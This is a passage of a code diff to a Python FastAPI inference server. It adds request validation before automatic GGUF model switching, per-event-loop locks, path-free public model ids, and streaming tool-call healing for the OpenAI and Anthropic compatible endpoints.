a + # cheap, target-independent length check, so a too-large payload must not + # load a GGUF only to 413 afterward (the decode itself stays post-switch to + # avoid decoding a valid upload twice). + if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: + raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + # Reject streaming n>1 before the switch: only the non-streaming GGUF path + # returns multiple choices, so stream=true + n>1 is invalid on every local + # serving path (the external path already rejected it before its early + # return). Both fields are known here, so a bad shape must not load model B + # only to 400. The non-streaming n>1 cases stay post-switch, where the + # serving path decides whether the shape is supported. + if payload.stream and _wants_multiple_choices(payload): + _raise_unsupported_n("streaming chat completions") + # Audio input rides the same companion-mmproj projector as vision, so a + # text-only target can't serve it either; guard both before the switch. + _needs_vision = ( + bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + ) + + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _needs_vision, + ) + llama_backend = get_llama_cpp_backend() using_gguf = llama_backend.is_loaded @@ -4923,8 +5501,9 @@ async def openai_chat_completions( return response if using_gguf: - # Echo a clean public id in the response, never the absolute .gguf path. - model_name = public_model_id(llama_backend.model_identifier) or payload.model + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend, payload.model) if getattr(llama_backend, "_is_audio", False): if _wants_multiple_choices(payload): _raise_unsupported_n("GGUF audio chat completions") @@ -5185,7 +5764,11 @@ async def openai_chat_completions( ) # ── Parse messages (handles multimodal content parts) ───── - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + # Reuse the pre-hook parse when auto-switch did it, else parse now. + if _pre_parsed is not None: + system_prompt, chat_messages, extracted_image_b64 = _pre_parsed + else: + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -6492,10 +7075,13 @@ def _openai_model_objects() -> list[dict]: # Check GGUF backend llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded: + # Advertise the repo id an auto-switch load recorded, not the concrete + # on-disk load path, so /v1/models never leaks a host path or lists a + # model twice (path plus repo id). entry = { - # Public id, never the absolute .gguf path (which leaks the host - # filesystem layout); see core.inference.model_ids.public_model_id. - "id": public_model_id(llama_backend.model_identifier), + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path (which leaks the host filesystem layout). + "id": _llama_public_model_id(llama_backend), "object": "model", "created": _created, "owned_by": _OWNED_BY, @@ -6541,7 +7127,21 @@ def _openai_model_objects() -> list[dict]: # don't rescan the HF cache and models dirs on every request. _CATALOG_CACHE: dict = {"at": 0.0, "models": []} _CATALOG_TTL_S = 30.0 -_CATALOG_LOCK = asyncio.Lock() +# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its +# waiters to the loop that first awaited it, so a second event loop awaiting it +# in a multi-loop ASGI process can hang. The cache double-check keeps correctness +# even when two loops each scan once. +_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_catalog_locks_guard = threading.Lock() + + +def _catalog_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + with _catalog_locks_guard: + lock = _catalog_locks.get(loop) + if lock is None: + lock = _catalog_locks[loop] = asyncio.Lock() + return lock async def _cached_local_catalog() -> list: @@ -6558,7 +7158,7 @@ async def _cached_local_catalog() -> list: now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] - async with _CATALOG_LOCK: + async with _catalog_lock(): now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] @@ -6588,7 +7188,15 @@ async def _openai_catalog_objects() -> list[dict]: by_id[entry["id"]] = {**entry, "loaded": True} # Locally available (downloaded/cached) models that are not already loaded. - for info in await _cached_local_catalog(): + # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is + # read from the on-disk files, not model_format: the HF-cache scanner leaves + # model_format unset for GGUF snapshots, so a model_format filter would drop + # every cached GGUF. The file checks run off the loop. + from core.inference.local_model_resolver import info_has_local_gguf + + catalog = await _cached_local_catalog() + servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + for info in servable: cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) if not cid or cid in by_id: continue @@ -6632,29 +7240,43 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge from core.inference.model_ids import model_id_matches # Loaded models resolve without a catalog scan (the common case); only build - # the full catalog -- which may hit the filesystem -- for unloaded ids. - for entry in _openai_model_objects(): - if entry["id"] == model_id: + # the full catalog -- which may hit the filesystem -- for unloaded ids. Match + # case-insensitively, like the catalog loop below and the resolver's index. + _loaded = _openai_model_objects() + for entry in _loaded: + eid = entry["id"] + if isinstance(eid, str) and eid.lower() == model_id.lower(): return {**entry, "loaded": True} objects = await _openai_catalog_objects() for model in objects: - if model["id"] == model_id: + # Case-insensitive to match the resolver, which lowercases its index. + mid = model.get("id") + if isinstance(mid, str) and mid.lower() == model_id.lower(): return model # Backward compatibility: a client may still send the legacy raw identifier - # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to - # the clean object so it keeps working, without ever echoing the path back. + # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the + # loaded model's object so it keeps working, without ever echoing the path back. + # Key each raw id to the SAME public id its /v1/models entry uses: an + # auto-switch load advertises a repo id while its identifier is the snapshot + # path, so public_model_id(path) would miss the advertised entry and 404 a + # model that is in fact loaded. llama_backend = get_llama_cpp_backend() backend = get_inference_backend() - for raw in ( - llama_backend.model_identifier if llama_backend.is_loaded else None, - backend.active_model_name or None, - ): - if raw and model_id_matches(model_id, raw): - clean = public_model_id(raw) - for model in objects: - if model["id"] == clean: - return model + raw_to_public: list[tuple[str, Optional[str]]] = [] + if llama_backend.is_loaded and llama_backend.model_identifier: + raw_to_public.append( + (llama_backend.model_identifier, _llama_public_model_id(llama_backend)) + ) + if backend.active_model_name: + raw_to_public.append( + (backend.active_model_name, public_model_id(backend.active_model_name)) + ) + for raw, clean in raw_to_public: + if model_id_matches(model_id, raw): + for entry in _loaded: + if entry["id"] == clean: + return {**entry, "loaded": True} raise HTTPException( status_code = 404, detail = openai_error_body( @@ -6679,6 +7301,16 @@ def _flatten_monitor_prompt(value) -> str: return str(value) +def _completions_prompt_present(body: dict) -> bool: + """Whether a completions body carries a usable ``prompt`` (non-empty).""" + prompt = body.get("prompt") + if isinstance(prompt, str): + return prompt != "" + if isinstance(prompt, (list, tuple)): + return len(prompt) > 0 + return prompt is not None + + @router.post("/completions") async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6688,13 +7320,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge when a GGUF model is loaded. """ llama_backend = get_llama_cpp_backend() + + # Reject a request with no prompt before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/embeddings already + # validate before switching). Gate on every automatic-load trigger. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_prompt = _pre.get("prompt") + if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + # An object/number prompt is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + if not _completions_prompt_present(_pre): + raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + + # Opt-in: load the requested local GGUF before the loaded-state check. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() if body.get("max_tokens") is None: body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR target_url = f"{llama_backend.base_url}/v1/completions" @@ -6703,7 +7361,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6850,6 +7508,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # ===================================================================== +def _embeddings_input_present(body: dict) -> bool: + """Whether an embeddings body carries a usable ``input`` (non-empty).""" + inp = body.get("input") + if isinstance(inp, str): + return inp != "" + if isinstance(inp, (list, tuple)): + return len(inp) > 0 + return inp is not None + + @router.post("/embeddings") async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6861,13 +7529,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get error (expected). """ llama_backend = get_llama_cpp_backend() + # Reject a request with no input before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/responses/messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_input = _pre.get("input") + if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + # An object/number input is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + if not _embeddings_input_present(_pre): + raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike + # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has + # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers + # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort: + # a non-embedding target switches, then llama-server returns a no-pooling error. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) monitor_id = None @@ -6875,7 +7572,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -7340,10 +8037,13 @@ def _build_chat_request( ``/v1/chat/completions`` client-side pass-through picks them up unchanged. """ chat_kwargs: dict = dict( - model = payload.model, messages = messages, stream = stream, ) + # Only forward an explicitly set model so an omitted Responses model stays + # reload-only when openai_chat_completions re-checks on the non-streaming path. + if "model" in payload.model_fields_set: + chat_kwargs["model"] = payload.model if payload.temperature is not None: chat_kwargs["temperature"] = payload.temperature if payload.top_p is not None: @@ -7376,6 +8076,13 @@ def _build_chat_request( if isinstance(_tpl_kw, dict) and "enable_thinking" in _tpl_kw: chat_kwargs["enable_thinking"] = bool(_tpl_kw["enable_thinking"]) explicit_enable_thinking = True + # auto_heal_tool_calls / nudge_tool_calls are not typed on + # ResponsesRequest; lift them from the extra-body so passthrough + # healing (and the opt-in nudge) honor them on both paths. + if isinstance(_extra.get("auto_heal_tool_calls"), bool): + chat_kwargs["auto_heal_tool_calls"] = _extra["auto_heal_tool_calls"] + if isinstance(_extra.get("nudge_tool_calls"), bool): + chat_kwargs["nudge_tool_calls"] = _extra["nudge_tool_calls"] if isinstance(payload.reasoning, dict): effort = payload.reasoning.get("effort") @@ -7597,12 +8304,11 @@ async def _responses_stream( # Clean public id for every response envelope. Prefer the loaded model's # id so the stream agrees with /v1/models, chat/completions and the # non-streaming twin; fall back to a sanitized payload.model (a legacy - # raw .gguf path is stripped, never echoed back). - _clean_model = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model - ) + # raw .gguf path is stripped, never echoed back). Use the advertised-id + # helper, not the raw identifier: after an auto-switch to a cached HF GGUF + # the identifier is the snapshot path while the repo id lives in + # _openai_advertised_id, so the raw form would stream a snapshot basename. + _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model full_text = "" full_reasoning = "" input_tokens = 0 @@ -7611,16 +8317,112 @@ async def _responses_stream( parse_think_markers = _responses_should_parse_think_markers(chat_req, llama_backend) ) reasoning_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} - message_state: dict[str, Any] = {"output_index": None, "item_id": None, "opened": False} + message_state: dict[str, Any] = { + "output_index": None, + "item_id": None, + "opened": False, + "text": "", + } + # Message items already closed mid-stream (a healed tool call splits + # the assistant text into separate message items, as native Responses + # streams do). Kept for the final response.completed snapshot. + closed_message_states: list[dict] = [] # Per-tool-call state keyed by Chat Completions `tool_calls[].index`, # stable across chunks for the same call. Values: # {output_index, item_id, call_id, name, arguments, opened} tool_call_state: dict[int, dict] = {} next_output_index = 0 + # Text-form tool calls promoted back to structured calls (declared + # client tools only); dormant once grammar-mode structured deltas appear. + _allowed_tools = heal_gate( + getattr(chat_req, "auto_heal_tool_calls", None), + body.get("tools"), + body.get("tool_choice"), + ) + healer = StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None + healed_tc_index = 0 + + def _healed_tc(call: dict): + # Chat-delta shape for a healed call. Indexes live in a disjoint + # range so a healed call can never merge into a structured call's + # state slot; parallel_tool_calls=false caps healed calls too (the + # upstream cap ran before injection). + nonlocal healed_tc_index + if payload.parallel_tool_calls is False and healed_tc_index >= 1: + return None + tc = { + "index": 1_000_000 + healed_tc_index, + "id": call["id"], + "type": "function", + "function": call["function"], + } + healed_tc_index += 1 + return tc def _sse(event_name: str, payload: dict) -> str: return f"event: {event_name}\ndata: {json.dumps(payload)}\n\n" + def _tool_call_delta_events(tc: dict) -> list: + # One Chat Completions tool_calls delta -> Responses SSE events, + # allocating/merging per-call state (shared by the structured loop + # and the healer's promoted calls). + events = [] + idx = tc.get("index", 0) + st = tool_call_state.get(idx) + fn = tc.get("function") or {} + if st is None: + # First chunk for this tool call -- allocate an + # output_index and emit output_item.added. + st = { + "output_index": _claim_output_index(), + "item_id": f"fc_{uuid.uuid4().hex[:12]}", + "call_id": tc.get("id") or "", + "name": fn.get("name") or "", + "arguments": "", + "opened": False, + } + tool_call_state[idx] = st + else: + # Later chunks sometimes carry id/name only once; merge + # when present. + if tc.get("id") and not st["call_id"]: + st["call_id"] = tc["id"] + if fn.get("name") and not st["name"]: + st["name"] = fn["name"] + + if not st["opened"] and st["call_id"] and st["name"]: + item_added = { + "type": "response.output_item.added", + "output_index": st["output_index"], + "item": { + "type": "function_call", + "id": st["item_id"], + "status": "in_progress", + "call_id": st["call_id"], + "name": st["name"], + "arguments": "", + }, + } + events.append(_sse("response.output_item.added", item_added)) + st["opened"] = True + + arg_delta = fn.get("arguments") or "" + if arg_delta and st["opened"]: + st["arguments"] += arg_delta + args_delta_event = { + "type": "response.function_call_arguments.delta", + "item_id": st["item_id"], + "output_index": st["output_index"], + "delta": arg_delta, + } + events.append(_sse("response.function_call_arguments.delta", args_delta_event)) + elif arg_delta: + # Buffer args until we can open the item (some models + # send id/name in the same chunk as the first arg delta; + # if not, stash). + st["arguments"] += arg_delta + return events + def _claim_output_index() -> int: nonlocal next_output_index output_index = next_output_index @@ -7705,6 +8507,98 @@ async def _responses_stream( ), ] + def _close_message_item() -> list[str]: + """Close the open message item so later text opens a fresh one. + + Emits the same done-event triplet the end-of-stream close loop + would, records the item for the final snapshot, and resets the + state in place. No-op when no message item is open. + """ + if not message_state["opened"]: + return [] + text = message_state["text"] + events = [ + _sse( + "response.output_text.done", + { + "type": "response.output_text.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "text": text, + }, + ), + _sse( + "response.content_part.done", + { + "type": "response.content_part.done", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "part": {"type": "output_text", "text": text, "annotations": []}, + }, + ), + _sse( + "response.output_item.done", + { + "type": "response.output_item.done", + "output_index": message_state["output_index"], + "item": { + "type": "message", + "id": message_state["item_id"], + "status": "completed", + "role": "assistant", + "content": [{"type": "output_text", "text": text, "annotations": []}], + }, + }, + ), + ] + closed_message_states.append(dict(message_state)) + message_state.update( + {"output_index": None, "item_id": None, "opened": False, "text": ""} + ) + return events + + def _healed_event_sse(events) -> list[str]: + """Serialize healer events preserving their order. + + Text around a healed call must keep its position relative to the + function_call item (output indexes are claimed in emission order), + so never split an event list into all-text-then-all-calls. A healed + call also CLOSES any open message item, so trailing text opens a + fresh message with a later output index, exactly like a native + Responses stream that interleaves messages and calls. + """ + nonlocal full_text + out: list[str] = [] + for kind, value in events: + if kind == "text": + if not value: + continue + out.extend(_ensure_message_open()) + full_text += value + message_state["text"] += value + api_monitor.append_reply(monitor_id, value) + out.append( + _sse( + "response.output_text.delta", + { + "type": "response.output_text.delta", + "item_id": message_state["item_id"], + "output_index": message_state["output_index"], + "content_index": 0, + "delta": value, + }, + ) + ) + else: + tc = _healed_tc(value) + if tc is None: + continue + out.extend(_close_message_item()) + out.extend(_tool_call_delta_events(tc)) + return out + def _snapshot_output() -> list[dict]: """Snapshot of all completed output items for response.completed.""" indexed_items: list[tuple[int, dict]] = [] @@ -7721,19 +8615,23 @@ async def _responses_stream( }, ) ) - if message_state["opened"]: + # Closed copies keep opened=True (snapshotted before reset); the + # live state contributes only when a message is currently open. + for msg_st in [*closed_message_states, message_state]: + if not msg_st["opened"]: + continue indexed_items.append( ( - message_state["output_index"], + msg_st["output_index"], { "type": "message", - "id": message_state["item_id"], + "id": msg_st["item_id"], "status": "completed", "role": "assistant", "content": [ { "type": "output_text", - "text": full_text, + "text": msg_st["text"], "annotations": [], } ], @@ -7861,7 +8759,7 @@ async def _responses_stream( "output": [], "error": { "code": resp.status_code, - "message": f"llama-server error: {err_text[:500]}", + "message": _friendly_upstream_error(err_text[:500]), }, }, }, @@ -7917,10 +8815,30 @@ async def _responses_stream( "delta": reasoning_delta, }, ) + # Heal text-form tool calls in the visible stream (never in + # reasoning text): promoted calls join the structured tc loop + # below through the same state machinery, and healer events are + # emitted IN ORDER so text after a healed call never jumps ahead + # of the function_call item. Once a structured delta arrives, + # grammar mode worked and the healer goes dormant. + if healer is not None and not healer.dormant: + healed_events = [] + if delta.get("tool_calls"): + # Held text preceded the structured call; the call's own + # deltas follow in the structured loop below. + healed_events = healer.structured_tool_call_seen() + if visible_delta: + healed_events.append(("text", visible_delta)) + elif visible_delta: + healed_events = healer.feed(visible_delta) + visible_delta = "" + for event in _healed_event_sse(healed_events): + yield event if visible_delta: for event in _ensure_message_open(): yield event full_text += visible_delta + message_state["text"] += visible_delta api_monitor.append_reply(monitor_id, visible_delta) yield _sse( "response.output_text.delta", @@ -7934,60 +8852,19 @@ async def _responses_stream( ) for tc in delta.get("tool_calls") or []: - idx = tc.get("index", 0) - st = tool_call_state.get(idx) - fn = tc.get("function") or {} - if st is None: - # First chunk for this tool call -- allocate an - # output_index and emit output_item.added. - st = { - "output_index": _claim_output_index(), - "item_id": f"fc_{uuid.uuid4().hex[:12]}", - "call_id": tc.get("id") or "", - "name": fn.get("name") or "", - "arguments": "", - "opened": False, - } - tool_call_state[idx] = st - else: - # Later chunks sometimes carry id/name only once; merge - # when present. - if tc.get("id") and not st["call_id"]: - st["call_id"] = tc["id"] - if fn.get("name") and not st["name"]: - st["name"] = fn["name"] - - if not st["opened"] and st["call_id"] and st["name"]: - item_added = { - "type": "response.output_item.added", - "output_index": st["output_index"], - "item": { - "type": "function_call", - "id": st["item_id"], - "status": "in_progress", - "call_id": st["call_id"], - "name": st["name"], - "arguments": "", - }, - } - yield _sse("response.output_item.added", item_added) - st["opened"] = True - - arg_delta = fn.get("arguments") or "" - if arg_delta and st["opened"]: - st["arguments"] += arg_delta - args_delta_event = { - "type": "response.function_call_arguments.delta", - "item_id": st["item_id"], - "output_index": st["output_index"], - "delta": arg_delta, - } - yield _sse("response.function_call_arguments.delta", args_delta_event) - elif arg_delta: - # Buffer args until we can open the item (some models - # send id/name in the same chunk as the first arg delta; - # if not, stash). - st["arguments"] += arg_delta + if ( + payload.parallel_tool_calls is False + and healed_tc_index >= 1 + and tc.get("index", 0) not in tool_call_state + ): + # A healed call already consumed the single allowed slot; + # _drop_parallel_tool_call_deltas only sees native indexes, + # so a native index-0 call would still open a second + # function_call item. Skip it (and its later argument + # deltas, which never allocate a state either). + continue + for event in _tool_call_delta_events(tc): + yield event _apply_usage(chunk_data.get("usage")) except asyncio.CancelledError: @@ -8043,10 +8920,19 @@ async def _responses_stream( "delta": final_reasoning, }, ) + # Last-chance heal of any held residue (e.g. a tool block the model + # never closed) before the trailing visible text is flushed; events + # keep healer order so trailing text stays behind a healed call. + if healer is not None: + events = (healer.feed(final_visible) if final_visible else []) + healer.finalize() + final_visible = "" + for event in _healed_event_sse(events): + yield event if final_visible: for event in _ensure_message_open(): yield event full_text += final_visible + message_state["text"] += final_visible api_monitor.append_reply(monitor_id, final_visible) yield _sse( "response.output_text.delta", @@ -8105,6 +8991,10 @@ async def _responses_stream( continue if kind == "message": + # Per-item text: message items closed mid-stream (healed-call + # rotation) already emitted their done events, so this state + # carries only its own text, not the whole stream's. + _msg_text = st["text"] yield _sse( "response.output_text.done", { @@ -8112,7 +9002,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "text": full_text, + "text": _msg_text, }, ) yield _sse( @@ -8122,7 +9012,7 @@ async def _responses_stream( "item_id": st["item_id"], "output_index": st["output_index"], "content_index": 0, - "part": {"type": "output_text", "text": full_text, "annotations": []}, + "part": {"type": "output_text", "text": _msg_text, "annotations": []}, }, ) yield _sse( @@ -8136,7 +9026,7 @@ async def _responses_stream( "status": "completed", "role": "assistant", "content": [ - {"type": "output_text", "text": full_text, "annotations": []} + {"type": "output_text", "text": _msg_text, "annotations": []} ], }, }, @@ -8245,6 +9135,56 @@ async def openai_responses( messages = _normalise_responses_input(payload) if not messages: raise HTTPException(status_code = 400, detail = "No input provided.") + # System/developer-only input normalises to a non-empty list, so reject it + # before the switch (mirror chat) or an invalid request evicts the resident + # model only for the chat handler to 400 it as having no non-system message. + if not any(m.role not in ("system", "developer") for m in messages): + raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + # Reject a malformed function tool before any model load, mirroring the + # /v1/chat/completions check, so an invalid request never switches the model. + # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. + for _tool in payload.tools or []: + if not isinstance(_tool, dict) or _tool.get("type") != "function": + continue + _name = _tool.get("name") + if not isinstance(_name, str) or not _name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tools': each function tool must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tools", + ), + ) + # Reject a forcing-function tool_choice with no name before the switch (mirror + # chat), so a malformed request can't evict the model. Responses forces with + # {"type": "function", "name": "X"}; the streaming path would otherwise forward + # the bad choice and the non-streaming path only 400s after the swap. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_name = _tc.get("name") + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # After input validation so a 400 never triggers a load. Switches the + # streaming path; non-streaming re-checks via the idempotent chat handler. + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to 400 afterwards + # (the non-streaming chat re-check short-circuits on _already_serving). + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _messages_have_image(messages), + ) if payload.stream: monitor_id = None @@ -8381,6 +9321,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b return has_image +def _validate_anthropic_client_tools(tools) -> None: + # Reject malformed client tools before any model load, so an invalid request + # never evicts the loaded model. AnthropicTool relaxed name/input_schema to + # Optional for server tools, so the converter silently drops incomplete + # entries; surface them as 400 here. A `type` field marks a server-tool + # declaration (unrecognized server tools are no-ops); anything else without + # input_schema or name is malformed. + for tool in tools or []: + td = tool if isinstance(tool, dict) else tool.model_dump() + name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") + if schema is None and not isinstance(type_, str): + raise HTTPException( + status_code = 400, + detail = f"Tool {name!r} is missing required field 'input_schema'.", + ) + if schema is not None and (not isinstance(name, str) or not name): + raise HTTPException( + status_code = 400, + detail = "Client tool is missing required field 'name'.", + ) + + @router.post("/messages/count_tokens") async def anthropic_count_tokens( payload: AnthropicMessagesRequest, @@ -8394,6 +9356,19 @@ async def anthropic_count_tokens( tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages, max_tokens is NOT required here. """ + # Reject malformed tools before the switch, like /messages, so an invalid + # count request can't evict the loaded model. + _validate_anthropic_client_tools(payload.tools) + # Count with the requested model's tokenizer, like the sibling /messages. + # Carry the vision guard too: an image count naming a text-only GGUF must not + # evict a loaded vision model for a swap that can't serve the request. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + llama_backend = get_llama_cpp_backend() if not llama_backend.is_loaded: raise HTTPException( @@ -8460,14 +9435,20 @@ async def anthropic_messages( JSON). """ llama_backend = get_llama_cpp_backend() - if not llama_backend.is_loaded: + + # Default-off parity: with no automatic load possible and nothing loaded, 503 + # before any request-shape check, exactly as the pre-feature endpoint did. When + # an automatic load can run (auto-switch or a standalone idle TTL), fall through + # so validation runs before the reload hook gets a chance to restore the model. + if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) - # max_tokens is a required field on the Anthropic Messages API; real - # Anthropic returns a 400 invalid_request_error when it is omitted. + # max_tokens is a required field on the Anthropic Messages API; real Anthropic + # returns a 400 invalid_request_error when it is omitted. Validate before + # auto-switch so a rejected request never triggers a model load. if payload.max_tokens is None: raise HTTPException( status_code = 400, @@ -8478,13 +9459,47 @@ async def anthropic_messages( ), ) - # Clean public id so /v1/messages never echoes the local .gguf path (and a - # legacy raw path sent as payload.model is sanitized rather than returned). - model_name = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model + # Reject malformed client tools before any model load (see helper), so an + # invalid request never evicts the loaded model. + _validate_anthropic_client_tools(payload.tools) + + # Mixing Anthropic server tools with custom client tools is unsupported (the + # server-tool loop can't relay client functions back to the caller). Reject + # before the switch too -- it depends only on the payload -- so an invalid + # request never evicts the loaded model. Reused below for tool routing. + requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) + _has_client_tool = any( + (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None + for t in payload.tools or [] ) + if requested_studio_tools and _has_client_tool: + raise HTTPException( + status_code = 400, + detail = ( + "Mixing Anthropic server tools (e.g. web_search_20250305) " + "with custom client tools in a single request is not " + "supported. Send them in separate requests." + ), + ) + + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to hit the vision + # guard (_normalize_anthropic_openai_images) below after the load. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + if not llama_backend.is_loaded: + raise HTTPException( + status_code = 503, + detail = "No GGUF model loaded. Load a GGUF model first.", + ) + + # Advertised repo id after an auto-switch load, else a clean public id, never + # the local .gguf path (and a legacy raw path in payload.model is sanitized). + model_name = _llama_public_model_id(llama_backend, payload.model) message_id = f"msg_{uuid.uuid4().hex[:24]}" # ── Translate Anthropic → OpenAI ────────────────────────── @@ -8531,51 +9546,8 @@ async def anthropic_messages( # 2. tools=[...] only → client-side pass-through (standard Anthropic behavior) # 3. neither → plain chat # The server-side agentic loop doesn't support multimodal input -- matches - # the `not image_b64` gate in /v1/chat/completions. - requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) - - # Reject malformed client tools at the boundary. AnthropicTool was relaxed - # to Optional[name]/Optional[input_schema] for server tools, so the - # converter silently drops incomplete entries -- surface them as 400. A - # `type` field marks a server-tool declaration per spec (unrecognized server - # tools are accepted as no-ops); anything else without input_schema or name - # is malformed and must not be allowed to silently flip execution mode or - # disable tool calling. - for tool in payload.tools or []: - td = tool if isinstance(tool, dict) else tool.model_dump() - name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") - if schema is None and not isinstance(type_, str): - raise HTTPException( - status_code = 400, - detail = f"Tool {name!r} is missing required field 'input_schema'.", - ) - if schema is not None and (not isinstance(name, str) or not name): - raise HTTPException( - status_code = 400, - detail = "Client tool is missing required field 'name'.", - ) - - # Detect client tools from the raw payload (presence of input_schema) so the - # mixed-mode check below isn't fooled by a name collision with a server-tool - # alias that the post-filter would silently drop. - _has_client_tool = any( - (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None - for t in payload.tools or [] - ) - - # The server-tool agentic loop executes tools in-process and can't relay - # unknown client functions back to the caller, so mixed requests would - # silently drop the client tools. Reject 